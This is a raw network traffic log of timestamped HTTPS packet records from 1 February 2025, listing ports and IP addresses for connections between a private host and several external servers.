Feb 1, 2025 21:59:22.843933105 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.843944073 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.843956947 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.844151020 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.844198942 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.844204903 CET	49902	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.844228029 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.844254971 CET	49902	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.850377083 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.850398064 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.850439072 CET	49902	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.850449085 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.850483894 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.850495100 CET	49902	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.850511074 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.850537062 CET	49902	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.852415085 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.852467060 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.852484941 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.852494001 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.852525949 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.861901045 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.861918926 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.861953020 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.861963034 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.862004995 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.871706009 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.871748924 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.871766090 CET	49902	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.871776104 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.871797085 CET	49902	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.894202948 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.894244909 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.894265890 CET	49902	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.894279003 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.894304037 CET	49902	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.901281118 CET	49881	443	192.168.2.6	2.19.126.152
Feb 1, 2025 21:59:22.906462908 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.906542063 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.906550884 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.906671047 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.907336950 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.907351017 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.907392979 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.907399893 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.907423973 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.907438993 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.907886982 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.907936096 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.907943010 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.911681890 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.911696911 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.911725998 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.911736012 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.911760092 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.915819883 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.915870905 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.915880919 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.916435957 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.916465044 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.916497946 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.916508913 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.916522026 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.916562080 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.916601896 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.916623116 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.916631937 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.916640997 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.917603970 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.917623043 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.917651892 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.917659044 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.917665958 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.917695999 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.917716980 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.917768002 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.917774916 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.921561003 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.921583891 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.921617985 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.921626091 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.921658993 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.925151110 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.925213099 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.925220966 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.926899910 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.926913023 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.926954031 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.926978111 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.926995039 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.933942080 CET	49902	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.934432030 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.934506893 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.934525967 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.936383009 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.936403036 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.936441898 CET	49902	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.936494112 CET	49902	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.936497927 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.936538935 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.936558008 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.936578989 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.936587095 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.936615944 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.937114954 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.937170982 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.937182903 CET	49902	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.937197924 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.937216043 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.937223911 CET	49902	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.937242985 CET	49902	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.937967062 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.938021898 CET	49902	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.938029051 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.942724943 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.942789078 CET	49902	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.942790985 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.942821026 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.942858934 CET	49902	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.943401098 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.943473101 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.943480015 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.945702076 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.945715904 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.945769072 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.945781946 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.946552992 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.946608067 CET	49902	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.946614027 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.949018955 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.949071884 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.949079990 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.954782009 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.954823017 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.954843044 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.954850912 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.954883099 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.958343983 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.958385944 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.958404064 CET	49902	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.958412886 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.958442926 CET	49902	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.958512068 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.958566904 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.958574057 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.963989019 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.964050055 CET	49902	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.964056015 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.975953102 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.976002932 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.976041079 CET	49902	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.976048946 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.976087093 CET	49902	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.979623079 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.979706049 CET	49902	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.979712009 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.988495111 CET	443	49881	2.19.126.152	192.168.2.6
Feb 1, 2025 21:59:22.996900082 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.996927977 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.996978998 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.996992111 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.997023106 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.997100115 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.997149944 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.997158051 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.997749090 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.997764111 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.997797966 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.997807026 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.997833014 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.997992992 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.998039961 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.998047113 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.998814106 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.998827934 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.998858929 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.998868942 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.998886108 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.002532005 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.002587080 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.002594948 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.007917881 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.007971048 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.008007050 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.008014917 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.008059978 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.008142948 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.008163929 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.008198023 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.008528948 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.008567095 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.008584976 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.008593082 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.008629084 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.008816957 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.008884907 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.008893013 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.009279966 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.009319067 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.009356022 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.009362936 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.009402990 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.009869099 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.009884119 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.009943962 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.009982109 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.010001898 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.012940884 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.013005972 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.013012886 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.013612986 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.013665915 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.013675928 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.017913103 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.020092964 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.020113945 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.020149946 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.020158052 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.020191908 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.025134087 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.025150061 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.025214911 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.025224924 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.025257111 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.027545929 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.027606010 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.027614117 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.028681993 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.028723001 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.028763056 CET	49902	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.028769970 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.028824091 CET	49902	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.028834105 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.028858900 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.028875113 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.028884888 CET	49902	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.028901100 CET	49902	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.029038906 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.029094934 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.029104948 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.029778004 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.029819012 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.029838085 CET	49902	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.029846907 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.029870987 CET	49902	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.030257940 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.030320883 CET	49902	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.030325890 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.031245947 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.031285048 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.031322002 CET	49902	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.031328917 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.031363010 CET	49902	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.033514977 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.033622026 CET	49902	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.033627987 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.038395882 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.038446903 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.038479090 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.038486958 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.038516998 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.039046049 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.039098978 CET	49902	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.039108992 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.039160967 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.039211035 CET	49902	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.039217949 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.039499998 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.039608955 CET	49902	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.039958000 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.039973974 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.040021896 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.040030956 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.040055990 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.042129993 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.042191982 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.042200089 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.044745922 CET	49902	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.044754982 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.045269966 CET	443	49908	142.250.185.97	192.168.2.6
Feb 1, 2025 21:59:23.045578957 CET	49908	443	192.168.2.6	142.250.185.97
Feb 1, 2025 21:59:23.045588017 CET	443	49908	142.250.185.97	192.168.2.6
Feb 1, 2025 21:59:23.046098948 CET	443	49908	142.250.185.97	192.168.2.6
Feb 1, 2025 21:59:23.046116114 CET	443	49908	142.250.185.97	192.168.2.6
Feb 1, 2025 21:59:23.046163082 CET	49908	443	192.168.2.6	142.250.185.97
Feb 1, 2025 21:59:23.046169996 CET	443	49908	142.250.185.97	192.168.2.6
Feb 1, 2025 21:59:23.046195030 CET	49908	443	192.168.2.6	142.250.185.97
Feb 1, 2025 21:59:23.046210051 CET	49908	443	192.168.2.6	142.250.185.97
Feb 1, 2025 21:59:23.047106028 CET	443	49908	142.250.185.97	192.168.2.6
Feb 1, 2025 21:59:23.048945904 CET	49908	443	192.168.2.6	142.250.185.97
Feb 1, 2025 21:59:23.049032927 CET	443	49908	142.250.185.97	192.168.2.6
Feb 1, 2025 21:59:23.049170971 CET	49908	443	192.168.2.6	142.250.185.97
Feb 1, 2025 21:59:23.049177885 CET	443	49908	142.250.185.97	192.168.2.6
Feb 1, 2025 21:59:23.052014112 CET	443	49911	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:23.052138090 CET	49911	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:23.052994967 CET	49911	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:23.053004026 CET	443	49911	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:23.054584026 CET	49911	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:23.054589033 CET	443	49911	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:23.054814100 CET	49911	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:23.054826975 CET	443	49911	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:23.087378979 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.087438107 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.087449074 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.087968111 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.087986946 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.088001966 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.088016987 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.088021994 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.088036060 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.088129997 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.088176012 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.088182926 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.088538885 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.088552952 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.088583946 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.088593006 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.088639021 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.088948965 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.088994980 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.089001894 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.092725039 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.092782021 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.092823029 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.092833042 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.092868090 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.098572969 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.098618984 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.098664045 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.098674059 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.098706007 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.098743916 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.098798037 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.098807096 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.099205971 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.099246025 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.099265099 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.099272966 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.099306107 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.099539042 CET	443	49900	2.23.209.3	192.168.2.6
